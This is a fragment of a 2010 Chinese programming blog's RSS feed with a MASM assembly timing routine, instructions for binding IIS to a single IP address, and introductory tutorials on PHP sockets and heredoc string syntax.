<p>        invoke        lstrlen,addr @szBuf<br />
        mov        @dwContentLength,eax</p>
<p>        invoke        WriteFile,@hResultFile,addr @szBuf,\<br />
                          @dwContentLength,addr @dwWritten,NULL</p>
<p>_Error_Exit:<br />
        xor        eax,eax<br />
        ret<br />
_WinMain        endp<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
start:<br />
        invoke        GetModuleHandle,NULL<br />
        mov        hModuleHandle,eax<br />
        invoke        GetModuleFileName,hModuleHandle,offset szFileName,sizeof szFileName<br />
        invoke        lstrlen,offset szFileName<br />
        cld<br />
        mov        esi,offset szFileName<br />
        add        esi,eax<br />
        std<br />
@@:<br />
        lodsb<br />
        cmp        al,5ch<br />
        jne        @B<br />
        mov        byte ptr [esi+2],0<br />
        cld<br />
        invoke        SetCurrentDirectory,offset szFileName<br />
        call        _WinMain<br />
        invoke        ExitProcess,NULL<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
        end        start<br />
_TotalTime.asm文件<br />
复制内容到剪贴板代码:<br />
                .data<br />
szResultFormat        BYTE        &#8217;Use time:%d hour(s) %d minute(s) %d.%03d second(s),average speed: %d times/s.&#8217;,0dh,0ah,0</p>
<p>                .code<br />
;********************************************************<br />
;        _TotalTime<br />
;_lpBuf为调用者提供的接收结果缓冲区<br />
;_dwTotalTime为总耗时，一般来说，前面有<br />
;invoke        GetTickCount<br />
;sub        eax,@dwStart<br />
;这两条指令<br />
;_dwThingsHappend为在计时期间，关心的事件发生的次数<br />
;_FutrueExtention为将来拓展用<br />
;********************************************************<br />
_TotalTime        proc        _lpBuf,_dwTotalTime,_dwThingsHappend,_FutrueExtention</p>
<p>local        @dwStart:DWORD,\<br />
        @dwMilliseconds:DWORD,\<br />
        @dwSecond:DWORD,\<br />
        @dwMinute:DWORD,\<br />
        @dwHour:DWORD,\<br />
        @dwSus:DWORD,\<br />
        @AVGSpeed:DWORD</p>
<p>        mov        eax,_dwTotalTime<br />
        ;时间换算<br />
        xor        edx,edx<br />
        mov        ebx,1000<br />
        <a href="http://www.5bay.cn/tag/div" class="st_tag internal_tag" rel="tag" title="标签 div 下的日志">div</a>        ebx<br />
        mov        @dwMilliseconds,edx        ;毫秒</p>
<p>        xor        edx,edx<br />
        mov        ebx,60<br />
        div        ebx<br />
        mov        @dwSecond,edx<br />
                <br />
        xor        edx,edx<br />
        mov        ebx,60<br />
        div        ebx<br />
        mov        @dwMinute,edx<br />
                <br />
        xor        edx,edx<br />
        mov        ebx,24<br />
        div        ebx<br />
        mov        @dwHour,edx<br />
        <br />
        ;计算平均速度:_dwThingsHappend÷_dwTotalTime<br />
        xor        edx,edx</p>
<p>        mov        eax,_dwThingsHappend        ;_dwThingsHappend 也扩大1000倍(因为_dwTotalTime时间是毫秒数)<br />
        mov        ebx,1000<br />
        mul        ebx</p>
<p>        mov        ebx,_dwTotalTime        ;把_dwTotalTime的值恢复到ebx<br />
        .if        ebx!=0<br />
                div        ebx<br />
                mov        @AVGSpeed,eax<br />
        .else        ;如果_dwTotalTime为0,说明运行时间太少,无法统计,在这里用_dwThingsHappend作为@AVGSpeed的<br />
                push        _dwThingsHappend<br />
                pop        @AVGSpeed<br />
        .endif</p>
<p>        invoke        wsprintf,_lpBuf,\<br />
                         offset szResultFormat,\<br />
                         @dwHour,\<br />
                         @dwMinute,\<br />
                         @dwSecond,\<br />
                         @dwMilliseconds,\<br />
                         @AVGSpeed</p>
<p>        xor        eax,eax<br />
        inc        eax<br />
        ret<br />
_TotalTime        endp</p>
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]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/webshelleechueeee.html/feed</wfw:commentRss>
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		<item>
		<title>让IIS只监听指定IP</title>
		<link>http://www.5bay.cn/server-building/ep.html</link>
		<comments>http://www.5bay.cn/server-building/ep.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:12:50 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[代码]]></category>
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		<description><![CDATA[<a href="http://www.5bay.cn/server-building/ep.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>放入Windows Server 2003安装光盘，在目录\Support\Tools\下面找到Support.msi文件，安装他。 　　安装文件也可以在http://www.cdnunion.net/soft/support.rar下载。 b.用cmd进入C:\Program Files\Support Tools目录。 c.删除0.0.0.0 　httpcfg delete iplisten -i 0.0.0.0 d.设定HTTP.sys（iis）只是侦听192.168.0.2这个IP地址，运行如下命令： httpcfg set iplisten -i 192.168.0.2 返回的错误代码0代表成功完成 e.重起http.sys，依次在dos模式执行如下命令。 net stop http /y net start w3svc f.查询现在http.sys侦听Web服务的端口。 在dos模式用如下命令： netstat -an 看看 tcp 0.0.0.0:80 0.0.0.0 listening 是否存在，如果不存在，先恭喜一下。 看看 tcp 192.168.0.2:80 &#8230;&#8230;&#8230;&#8230;&#8230; 是否存在，如果是，那就真正恭喜你了。 ########################################################## httpcfg query iplisten 查询 相关博文2010年07月26日 -- PHP和Socket简介 (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年07月26日 [...]]]></description>
			<content:encoded><![CDATA[<p>放入Windows <a href="http://www.5bay.cn/tag/server" class="st_tag internal_tag" rel="tag" title="标签 server 下的日志">Server</a> 2003安装光盘，在目录\Support\Tools\下面找到Support.msi文件，安装他。<br />
　　安装文件也可以在<a rel="external" href="http://my.dz121.com/link.php?url=http://www.cdnunion.net%2Fsoft%2Fsupport.rar" target="_blank">http://www.cdnunion.net/soft/support.rar</a>下载。<br />
b.用cmd进入C:\Program Files\Support Tools目录。<br />
c.删除0.0.0.0<br />
　httpcfg delete iplisten -i 0.0.0.0<br />
d.设定HTTP.sys（iis）只是侦听192.168.0.2这个IP地址，运行如下命令：<br />
httpcfg set iplisten -i 192.168.0.2<br />
返回的错误代码0代表成功完成<br />
e.重起http.sys，依次在dos模式执行如下命令。<br />
net stop http /y<br />
net start w3svc</p>
<p>f.查询现在http.sys侦听Web服务的端口。<br />
在dos模式用如下命令：<br />
netstat -an<br />
看看 tcp 0.0.0.0:80 0.0.0.0 listening 是否存在，如果不存在，先恭喜一下。<br />
看看 tcp 192.168.0.2:80 &#8230;&#8230;&#8230;&#8230;&#8230; 是否存在，如果是，那就真正恭喜你了。<br />
##########################################################</p>
<p>httpcfg query iplisten 查询</p>
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		<title>PHP和Socket简介</title>
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		<pubDate>Sun, 25 Jul 2010 17:19:26 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
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		<category><![CDATA[php.ini]]></category>
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		<category><![CDATA[页面]]></category>

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		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/phpeecketee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>Sockets在PHP中是没有充分利用的功能。今天你将看到产生一个能使用客户端连接的服务器，并在客户端使用socket进行连接，服务器端将详细的处理信息发送给客户端。 当你看到完整的socket过程，那么你将会在以后的程序开发中使用它。这个服务器是一个能让你连接的HTTP服务器，客户端是一个Web浏览器，这是一个单一的 客户端/服务器 的关系。 ◆　Socket 基础 PHP使用Berkley的socket库来创建它的连接。你可以知道socket只不过是一个数据结构。你使用这个socket数据结构去开始一个客户端和服务器之间的会话。这个服务器是一直在监听准备产生一个新的会话。当一个客户端连接服务器，它就打开服务器正在进行监听的一个端口进行会话。这时，服务器端接受客户端的连接请求，那么就进行一次循环。现在这个客户端就能够发送信息到服务器，服务器也能发送信息给客户端。 产生一个Socket，你需要三个变量：一个协议、一个socket类型和一个公共协议类型。产生一个socket有三种协议供选择，继续看下面的内容来获取详细的协议内容。 定义一个公共的协议类型是进行连接一个必不可少的元素。下面的表我们看看有那些公共的协议类型。 表一：协议 名字/常量 描述 AF_INET 这是大多数用来产生socket的协议，使用TCP或UDP来传输，用在IPv4的地址 AF_INET6 与上面类似，不过是来用在IPv6的地址 AF_UNIX 本地协议，使用在Unix和Linux系统上，它很少使用，一般都是当客户端和服务器在同一台及其上的时候使用 表二：Socket类型 名字/常量 描述 SOCK_STREAM 这个协议是按照顺序的、可靠的、数据完整的基于字节流的连接。这是一个使用最多的socket类型，这个socket是使用TCP来进行传输。 SOCK_DGRAM 这个协议是无连接的、固定长度的传输调用。该协议是不可靠的，使用UDP来进行它的连接。 SOCK_SEQPACKET 这个协议是双线路的、可靠的连接，发送固定长度的数据包进行传输。必须把这个包完整的接受才能进行读取。 SOCK_RAW 这个socket类型提供单一的网络访问，这个socket类型使用ICMP公共协议。（ping、traceroute使用该协议） SOCK_RDM 这个类型是很少使用的，在大部分的操作系统上没有实现，它是提供给数据链路层使用，不保证数据包的顺序 表三：公共协议 名字/常量 描述 ICMP 互联网控制消息协议，主要使用在网关和主机上，用来检查网络状况和报告错误信息 UDP 用户数据报文协议，它是一个无连接，不可靠的传输协议 TCP 传输控制协议，这是一个使用最多的可靠的公共协议，它能保证数据包能够到达接受者那儿，如果在传输过程中发生错误，那么它将重新发送出错数据包。 现在你知道了产生一个socket的三个元素，那么我们就在php中使用socket_create()函数来产生一个socket。这个 socket_create()函数需要三个参数：一个协议、一个socket类型、一个公共协议。socket_create()函数运行成功返回一个包含socket的资源类型，如果没有成功则返回false。 Resourece socket_create(int protocol, int socketType, int commonProtocol); 现在你产生一个socket，然后呢？php提供了几个操纵socket的函数。你能够绑定socket到一个IP，监听一个socket的通信，接受一个socket；现在我们来看一个例子，了解函数是如何产生、接受和监听一个socket。 &#60;?php $commonProtocol = getprotobyname(“tcp”); $socket [...]]]></description>
			<content:encoded><![CDATA[<p>Sockets在PHP中是没有充分利用的功能。今天你将看到产生一个能使用客户端连接的服务器，并在客户端使用socket进行连接，服务器端将详细的处理信息发送给客户端。</p>
<p>当你看到完整的socket过程，那么你将会在以后的程序开发中使用它。这个服务器是一个能让你连接的HTTP服务器，客户端是一个Web浏览器，这是一个单一的 客户端/服务器 的关系。<span id="more-499"></span></p>
<p>◆　Socket 基础</p>
<p>PHP使用Berkley的socket库来创建它的连接。你可以知道socket只不过是一个数据结构。你使用这个socket数据结构去开始一个客户端和服务器之间的会话。这个服务器是一直在监听准备产生一个新的会话。当一个客户端连接服务器，它就打开服务器正在进行监听的一个端口进行会话。这时，服务器端接受客户端的连接请求，那么就进行一次循环。现在这个客户端就能够发送信息到服务器，服务器也能发送信息给客户端。</p>
<p>产生一个Socket，你需要三个变量：一个协议、一个socket类型和一个公共协议类型。产生一个socket有三种协议供选择，继续看下面的内容来获取详细的协议内容。</p>
<p>定义一个公共的协议类型是进行连接一个必不可少的元素。下面的表我们看看有那些公共的协议类型。</p>
<p>表一：协议</p>
<p>名字/常量 描述<br />
AF_INET 这是大多数用来产生socket的协议，使用TCP或UDP来传输，用在IPv4的地址<br />
AF_INET6 与上面类似，不过是来用在IPv6的地址<br />
AF_UNIX 本地协议，使用在Unix和Linux系统上，它很少使用，一般都是当客户端和服务器在同一台及其上的时候使用</p>
<p>表二：Socket类型</p>
<p>名字/常量 描述<br />
SOCK_STREAM 这个协议是按照顺序的、可靠的、数据完整的基于字节流的连接。这是一个使用最多的socket类型，这个socket是使用TCP来进行传输。<br />
SOCK_DGRAM 这个协议是无连接的、固定长度的传输调用。该协议是不可靠的，使用UDP来进行它的连接。<br />
SOCK_SEQPACKET 这个协议是双线路的、可靠的连接，发送固定长度的数据包进行传输。必须把这个包完整的接受才能进行读取。<br />
SOCK_RAW 这个socket类型提供单一的网络访问，这个socket类型使用ICMP公共协议。（ping、traceroute使用该协议）<br />
SOCK_RDM 这个类型是很少使用的，在大部分的操作系统上没有实现，它是提供给数据链路层使用，不保证数据包的顺序</p>
<p>表三：公共协议</p>
<p>名字/常量 描述<br />
ICMP 互联网控制消息协议，主要使用在网关和主机上，用来检查网络状况和报告错误信息<br />
UDP 用户数据报文协议，它是一个无连接，不可靠的传输协议<br />
TCP 传输控制协议，这是一个使用最多的可靠的公共协议，它能保证数据包能够到达接受者那儿，如果在传输过程中发生错误，那么它将重新发送出错数据包。</p>
<p>现在你知道了产生一个socket的三个元素，那么我们就在php中使用socket_create()函数来产生一个socket。这个 socket_create()函数需要三个参数：一个协议、一个socket类型、一个公共协议。socket_create()函数运行成功返回一个包含socket的资源类型，如果没有成功则返回false。<br />
Resourece socket_create(int protocol, int socketType, int commonProtocol);</p>
<p>现在你产生一个socket，然后呢？php提供了几个操纵socket的函数。你能够绑定socket到一个IP，监听一个socket的通信，接受一个socket；现在我们来看一个例子，了解函数是如何产生、接受和监听一个socket。</p>
<p>&lt;?<a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">php</a><br />
$commonProtocol = getprotobyname(“tcp”);<br />
$socket = socket_create(AF_INET, SOCK_STREAM, $commonProtocol);<br />
socket_bind($socket, ‘localhost’, 1337);<br />
socket_listen($socket);<br />
// More socket functionality to come<br />
?&gt;</p>
<p>上面这个例子产生一个你自己的服务器端。例子第一行，<br />
$commonProtocol = getprotobyname(“tcp”);<br />
使用公共协议名字来获取一个协议类型。在这里使用的是TCP公共协议，如果你想使用UDP或者ICMP协议，那么你应该把getprotobyname() 函数的参数改为“udp”或“icmp”。还有一个可选的办法是不使用getprotobyname()函数而是指定SOL_TCP或SOL_UDP在 socket_create()函数中。</p>
<p>$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);</p>
<p>例子的第二行是产生一个socket并且返回一个socket资源的实例。在你有了一个socket资源的实例以后，你就必须把socket绑定到一个IP地址和某一个端口上。</p>
<p>socket_bind($socket, ‘localhost’, 1337);</p>
<p>在这里你绑定socket到本地计算机（127.0.0.1）和绑定socket到你的1337端口。然后你就需要监听所有进来的socket连接。</p>
<p>socket_listen($socket);</p>
<p>在第四行以后，你就需要了解所有的socket函数和他们的使用。</p>
<p>表四：Socket函数</p>
<p>函数名 描述<br />
socket_accept() 接受一个Socket连接<br />
socket_bind() 把socket绑定在一个IP地址和端口上<br />
socket_clear_error() 清除socket的错误或者最后的错误代码<br />
socket_close() 关闭一个socket资源<br />
socket_connect() 开始一个socket连接<br />
socket_create_listen() 在指定端口打开一个socket监听<br />
socket_create_pair() 产生一对没有区别的socket到一个数组里<br />
socket_create() 产生一个socket，相当于产生一个socket的数据结构<br />
socket_get_option() 获取socket选项<br />
socket_getpeername() 获取远程类似主机的ip地址<br />
socket_getsockname() 获取本地socket的ip地址<br />
socket_iovec_add() 添加一个新的向量到一个分散/聚合的数组<br />
socket_iovec_alloc() 这个函数创建一个能够发送接收读写的iovec数据结构<br />
socket_iovec_delete() 删除一个已经分配的iovec<br />
socket_iovec_fetch() 返回指定的iovec资源的数据<br />
socket_iovec_free() 释放一个iovec资源<br />
socket_iovec_set() 设置iovec的数据新值<br />
socket_last_error() 获取当前socket的最后错误代码<br />
socket_listen() 监听由指定socket的所有连接<br />
socket_read() 读取指定长度的数据<br />
socket_readv() 读取从分散/聚合数组过来的数据<br />
socket_recv() 从socket里结束数据到缓存<br />
socket_recvfrom() 接受数据从指定的socket，如果没有指定则默认当前socket<br />
socket_recvmsg() 从iovec里接受消息<br />
socket_select() 多路选择<br />
socket_send() 这个函数发送数据到已连接的socket<br />
socket_sendmsg() 发送消息到socket<br />
socket_sendto() 发送消息到指定地址的socket<br />
socket_set_block() 在socket里设置为块模式<br />
socket_set_nonblock() socket里设置为非块模式<br />
socket_set_option() 设置socket选项<br />
socket_shutdown() 这个函数允许你关闭读、写、或者指定的socket<br />
socket_strerror() 返回指定错误号的详细错误<br />
socket_write() 写数据到socket缓存<br />
socket_writev() 写数据到分散/聚合数组</p>
<p>(注: 函数介绍删减了部分原文内容，函数详细使用建议参考英文原文，或者参考PHP手册)</p>
<p>以上所有的函数都是PHP中关于socket的，使用这些函数，你必须把你的socket打开，如果你没有打开，请编辑你的php.ini文件，去掉下面这行前面的注释：<br />
extension=php_sockets.dll<br />
如果你无法去掉注释，那么请使用下面的代码来加载扩展库：</p>
<p>&lt;?php<br />
if(!extension_loaded(‘sockets’))<br />
{<br />
if(strtoupper(substr(PHP_OS, 3)) == “WIN”)<br />
{<br />
dl(‘php_sockets.dll’);<br />
}<br />
else<br />
{<br />
dl(‘sockets.so’);<br />
}<br />
}<br />
?&gt;</p>
<p>如果你不知道你的socket是否打开，那么你可以使用phpinfo()函数来确定socket是否打开。你通过查看phpinfo信息了解socket是否打开。</p>
<p>查看phpinfo()关于socket的信息</p>
<p>◆　产生一个服务器</p>
<p>现在我们把第一个例子进行完善。你需要监听一个指定的socket并且处理用户的连接。</p>
<p>&lt;?php<br />
$commonProtocol = getprotobyname(“tcp”);<br />
$socket = socket_create(AF_INET, SOCK_STREAM, $commonProtocol);<br />
socket_bind($socket, &#8216;localhost&#8217;, 1337);<br />
socket_listen($socket);<br />
// Accept any incoming connections to the <a href="http://www.5bay.cn/tag/server" class="st_tag internal_tag" rel="tag" title="标签 server 下的日志">server</a><br />
$connection = socket_accept($socket);<br />
if($connection)<br />
{<br />
socket_write($connection, “You have connected to the socket&#8230;\n\r”);<br />
}<br />
?&gt;</p>
<p>你应该使用你的命令提示符来运行这个例子。理由是因为这里将产生一个服务器，而不是一个Web页面。如果你尝试使用Web浏览器来运行这个脚本，那么很有可能它会超过30秒的限时。你可以使用下面的代码来设置一个无限的运行时间，但是还是建议使用命令提示符来运行。</p>
<p>set_time_limit(0);</p>
<p>在你的命令提示符中对这个脚本进行简单测试：</p>
<p>Php.exe example01_server.php</p>
<p>如果你没有在系统的环境变量中设置php解释器的路径，那么你将需要给php.exe指定详细的路径。当你运行这个服务器端的时候，你能够通过远程登陆（telnet）的方式连接到端口1337来测试这个服务器。</p>
<p>上面的服务器端有三个问题：1. 它不能接受多个连接。2. 它只完成唯一的一个命令。</p>
<p>3. 你不能通过Web浏览器连接这个服务器。</p>
<p>这个第一个问题比较容易解决，你可以使用一个应用程序去每次都连接到服务器。但是后面的问题是你需要使用一个Web页面去连接这个服务器，这个比较困难。你可以让你的服务器接受连接，然后些数据到客户端（如果它一定要写的话），关闭连接并且等待下一个连接。</p>
<p>在上一个代码的基础上再改进，产生下面的代码来做你的新服务器端：</p>
<p>&lt;?php<br />
// Set up our socket<br />
$commonProtocol = getprotobyname(“tcp”);<br />
$socket = socket_create(AF_INET, SOCK_STREAM, $commonProtocol);<br />
socket_bind($socket, &#8216;localhost&#8217;, 1337);<br />
socket_listen($socket);<br />
// Initialize the buffer<br />
$buffer = “NO DATA”;<br />
while(true)<br />
{<br />
// Accept any connections coming in on this socket</p>
<p>$connection = socket_accept($socket);<br />
printf(“Socket connected\r\n”);<br />
// Check to see if there is anything in the buffer<br />
if($buffer != “”)<br />
{<br />
printf(“Something is in the buffer&#8230;sending data&#8230;\r\n”);<br />
socket_write($connection, $buffer . “\r\n”);<br />
printf(“Wrote to socket\r\n”);<br />
}<br />
else<br />
{<br />
printf(“No Data in the buffer\r\n”);<br />
}<br />
// Get the input<br />
while($data = socket_read($connection, 1024, PHP_NORMAL_READ))<br />
{<br />
$buffer = $data;<br />
socket_write($connection, “Information Received\r\n”);<br />
printf(“Buffer: ” . $buffer . “\r\n”);<br />
}<br />
socket_close($connection);<br />
printf(“Closed the socket\r\n\r\n”);<br />
}<br />
?&gt;</p>
<p>这个服务器端要做什么呢？它初始化一个socket并且打开一个缓存收发数据。它等待连接，一旦产生一个连接，它将打印“Socket connected”在服务器端的屏幕上。这个服务器检查缓冲区，如果缓冲区里有数据，它将把数据发送到连接过来的计算机。然后它发送这个数据的接受信息，一旦它接受了信息，就把信息保存到数据里，并且让连接的计算机知道这些信息，最后关闭连接。当连接关闭后，服务器又开始处理下一次连接。</p>
<p>◆　产生一个客户端</p>
<p>处理第二个问题是很容易的。你需要产生一个php页连接一个socket，发送一些数据进它的缓存并处理它。然后你又个处理后的数据在还顿，你能够发送你的数据到服务器。在另外一台客户端连接，它将处理那些数据。</p>
<p>下面的例子示范了使用socket：</p>
<p>&lt;?php<br />
// Create the socket and connect<br />
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);<br />
$connection = socket_connect($socket,’localhost’, 1337);<br />
while($buffer = socket_read($socket, 1024, PHP_NORMAL_READ))<br />
{<br />
if($buffer == “NO DATA”)<br />
{<br />
echo(“&lt;p&gt;NO DATA&lt;/p&gt;”);<br />
break;<br />
}<br />
else<br />
{<br />
// Do something with the data in the buffer<br />
echo(“&lt;p&gt;Buffer Data: “ . $buffer . “&lt;/p&gt;”);<br />
}<br />
}<br />
echo(“&lt;p&gt;Writing to Socket&lt;/p&gt;”);<br />
// Write some test data to our socket<br />
if(!socket_write($socket, “SOME DATA\r\n”))<br />
{<br />
echo(“&lt;p&gt;Write failed&lt;/p&gt;”);<br />
}<br />
// Read any response from the socket<br />
while($buffer = socket_read($socket, 1024, PHP_NORMAL_READ))<br />
{<br />
echo(“&lt;p&gt;Data sent was: SOME DATA&lt;br&gt; Response was:” . $buffer . “&lt;/p&gt;”);<br />
}<br />
echo(“&lt;p&gt;Done Reading from Socket&lt;/p&gt;”);<br />
?&gt;</p>
<p>这个例子的代码演示了客户端连接到服务器。客户端读取数据。如果这是第一时间到达这个循环的首次连接，这个服务器将发送“NO DATA”返回给客户端。如果情况发生了，这个客户端在连接之上。客户端发送它的数据到服务器，数据发送给服务器，客户端等待响应。一旦接受到响应，那么它将把响应写到屏幕上。</p>
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		<title>php的文档句法(heredoc)</title>
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		<pubDate>Sun, 25 Jul 2010 17:18:49 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
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		<category><![CDATA[诫]]></category>
		<category><![CDATA[连接]]></category>

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		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>不多说了，看代码。自己体会 &#60;?php echo “濙水河边的PHP演示”; echo “&#60;br&#62;”; $db=mysql_connect(“localhost”,”root”,”123456&#8243;); mysql_select_db(“jaycee”,$db); $rs=mysql_query(“select * from gbook”,$db); while($row=mysql_fetch_row($rs)) { echo &#60;&#60;&#60; eod &#60;table width=”99%” border=”1&#8243; cellspacing=”0&#8243; cellpadding=”0&#8243;&#62; &#60;tr&#62; &#60;td&#62;$row[0]&#60;/td&#62; &#60;td&#62;$row[1]&#60;/td&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td&#62;$row[2]&#60;/td&#62; &#60;td&#62;$row[3]&#60;/td&#62; &#60;/tr&#62; &#60;/table&#62; eod; } ?&#62; &#60;&#60;&#60;也就是可以让我们在PHP代码内实现一大段的HTML代码，并且可以在其中，使用PHP变量。 淡水河边这厮，找到许多PHP入门呀，php起步呀＝＝的书，从没提到用到这个。郁闷，用不到么？ 居然不提。愤怒！ 淡水河边看的书上叫它文档句法,又称定界符.它的语法是”&#60;&#60;&#60;”。用法是在其后提供一个标识符，然后在标识符后提供字符串，再在字符串后提供此标识符来结尾。注意，淡水河边这厮这里用的标志符是EOD，结束的那个标志要顶头写，不能有缩进和空格. 字符串的操作 1. 字符串的表现形式 在大部分语言里，双引号是字符串，单引号是字符。但是在PHP里，字符串的表现形式有3种。即： 单引号 双引号 定界符（heredoc syntax） 看见了吧，单引号居然可以用来表示字符串。那么如果我想表示单引号怎么办？和大多数语言一样，使用转义符号吧。即反斜线”\”.那么使用单引号和双引号有什么区别呢？我的观点是没有多大区别。唯一的区别就是双引号可以应用更多的转义符。 让我们定界符吧。它的语法是”&#60;&#60;&#60;”。用法是在其后提供一个标识符，然后在标识符后提供字符串，再在字符串后提供此标识符来结尾。例如： &#60;?php $str= &#60;&#60;&#60;EOD Hello, this is an [...]]]></description>
			<content:encoded><![CDATA[<p>不多说了，看代码。自己体会</p>
<p>&lt;?php<br />
echo “濙水河边的PHP演示”;<br />
echo “&lt;br&gt;”;<br />
$db=<a href="http://www.5bay.cn/tag/mysql" class="st_tag internal_tag" rel="tag" title="标签 mysql 下的日志">mysql</a>_connect(“localhost”,”root”,”123456&#8243;);<br />
mysql_select_db(“jaycee”,$db);<br />
$rs=mysql_query(“select * from gbook”,$db);<br />
while($row=mysql_fetch_row($rs))<br />
{<br />
echo &lt;&lt;&lt; eod<br />
&lt;table width=”99%” border=”1&#8243; cellspacing=”0&#8243; cellpadding=”0&#8243;&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;$row[0]&lt;/td&gt;<br />
&lt;td&gt;$row[1]&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;$row[2]&lt;/td&gt;<br />
&lt;td&gt;$row[3]&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;/table&gt;<br />
eod;<br />
}<br />
?&gt;</p>
<p>&lt;&lt;&lt;也就是可以让我们在PHP代码内实现一大段的HTML代码，并且可以在其中，使用PHP变量。</p>
<p>淡水河边这厮，找到许多PHP入门呀，php起步呀＝＝的书，从没提到用到这个。郁闷，用不到么？</p>
<p>居然不提。愤怒！ <span id="more-497"></span></p>
<p>淡水河边看的书上叫它文档句法,又称定界符.它的语法是”&lt;&lt;&lt;”。用法是在其后提供一个标识符，然后在标识符后提供字符串，再在字符串后提供此标识符来结尾。注意，淡水河边这厮这里用的标志符是EOD，结束的那个标志要顶头写，不能有缩进和空格.</p>
<p>字符串的操作</p>
<p>1. 字符串的表现形式</p>
<p>在大部分语言里，双引号是字符串，单引号是字符。但是在PHP里，字符串的表现形式有3种。即：</p>
<p>单引号</p>
<p>双引号</p>
<p>定界符（heredoc syntax）</p>
<p>看见了吧，单引号居然可以用来表示字符串。那么如果我想表示单引号怎么办？和大多数语言一样，使用转义符号吧。即反斜线”\”.那么使用单引号和双引号有什么区别呢？我的观点是没有多大区别。唯一的区别就是双引号可以应用更多的转义符。<br />
让我们定界符吧。它的语法是”&lt;&lt;&lt;”。用法是在其后提供一个标识符，然后在标识符后提供字符串，再在字符串后提供此标识符来结尾。例如：</p>
<p>&lt;?php<br />
$str= &lt;&lt;&lt;EOD<br />
Hello, this is an example for HEREDOC Syntax.<br />
Please attention to it.<br />
EOD;<br />
echo $str;<br />
?&gt;</p>
<p>注意，这里的提供的标志符是EOD，中间的是字符串。</p>
<p>2. 字符串的特别之处</p>
<p>从一个例子开始。</p>
<p>假设里你有很长的一段字符串，比如一段话。几个月后，你发现你的需求改变，需要在这段话的某个位置插入一个变量。这个时候如果重新用字符串符肯定是相当复杂的。那么有没有其他的方法呢？请放心，PHP已经考虑到这一点了。那就是花括号的应用。</p>
<p>对于PHP，它一般会按照如下规则解析：</p>
<p>如果遇到美元符号（$），解析器会尽可能多地取得后面的字符以组成一个合法的变量名。如果想明示指定名字的结束，用花括号把变量名括起来。例如</p>
<p>&lt;?php<br />
$beer = “Heineken”;<br />
echo “$beer”s taste is great”; // works, “”" is an invalid character for varnames<br />
echo “He drank some $beers”; // won”t work, “s” is a valid character for varnames<br />
echo “He drank some ${beer}s”; // works<br />
echo “He drank some {$beer}s”; // works<br />
?&gt;</p>
<p>看看第3，4行。第三行的$beer”s其实是$beer 后加“‘s”。因为这里的“’”对于变量命名来说是一个无效字符。但是第4行的$beers就不一样了。所以$beers是无效的。<br />
除了上面的,你还会注意到地5，6行的${beer}以及{$beer｝。对于PHP来说它们都是合法的。</p>
<p>但是你必须注意一点，${beer}以及{$beer｝的$和｛必须是紧挨的。不然｛就会当成｛字符看待了。</p>
<p>3，字符串的常用操作。</p>
<p>我想这是令我们异常激动的一个话题，并且也是非常实用的。</p>
<p>字符串的函数比较多，我们还是介绍一部分函数吧。</p>
<p>字符串的整理函数</p>
<p>chop(),其实就是rtrim().当然rtrim()还是可以用的</p>
<p>ltrim(),去掉字符串左边的多于空格。</p>
<p>trim(),这个比较比较简单，就是把字符串左右2边的空格都给删除。</p>
<p>字符串的格式化输出</p>
<p>实用HTML格式化的。nl2br().即在字符串的新一行前插入&lt;br&gt;.</p>
<p>&lt;?php<br />
echo nl2br(“foo isn”t\n bar”);<br />
?&gt;</p>
<p>上面的字符串会分2行显示，如果把此函数去掉，就只在一行上显示了。</p>
<p>打印输出的格式化。</p>
